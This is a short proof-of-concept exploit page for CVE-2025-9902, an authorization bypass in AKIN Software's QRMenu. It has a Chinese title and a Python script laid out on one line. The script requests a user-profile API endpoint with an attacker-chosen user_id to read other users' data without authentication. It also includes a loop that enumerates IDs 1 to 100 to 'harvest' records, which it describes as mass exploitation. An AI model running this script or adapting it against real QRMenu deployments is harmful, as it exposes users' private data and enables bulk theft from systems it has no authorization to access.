CVE-2025-9902 QRMenu授权绕过漏洞导致权限滥用

# CVE-2025-9902 PoC - QRMenu Authorization Bypass # Vulnerability: Authorization Bypass Through User-Controlled Key (CWE-639) # Target: AKIN Software QRMenu < Version dated 05.09.2025 import requests TARGET_URL = "https://target-qrmenu.com" # The vulnerable endpoint that accepts user-controlled key parameter VULNERABLE_ENDPOINT = "/api/v1/user/profile" # User-controlled parameter used for authorization (e.g., user_id) USER_ID_PARAM = "user_id" def exploit_authorization_bypass(target_user_id): """ Exploit authorization bypass by manipulating user-controlled key. The server fails to verify that the requesting user has permission to access the specified user's data. """ # Craft request with manipulated user_id parameter # No authentication required (PR:N) params = { USER_ID_PARAM: target_user_id, # Attacker controls this value "lang": "en" } headers = { "User-Agent": "Mozilla/5.0 (compatible; QRMenuExploit/1.0)", "Accept": "application/json" } try: response = requests.get( f"{TARGET_URL}{VULNERABLE_ENDPOINT}", params=params, headers=headers, timeout=10 ) if response.status_code == 200: print(f"[+] Successfully accessed data for user_id: {target_user_id}") print(f"[+] Response: {response.text}") return response.json() else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def enumerate_users(start_id=1, end_id=100): """ Enumerate valid user IDs to harvest sensitive data. Demonstrates mass exploitation capability. """ harvested_data = [] for user_id in range(start_id, end_id + 1): data = exploit_authorization_bypass(user_id) if data: harvested_data.append({"user_id": user_id, "data": data}) return harvested_data if __name__ == "__main__": # Example: Access admin user's data by manipulating user_id to 1 print("[*] Attempting authorization bypass on QRMenu...") result = exploit_authorization_bypass(1) if result: print("[!] Vulnerability confirmed - unauthorized data access successful")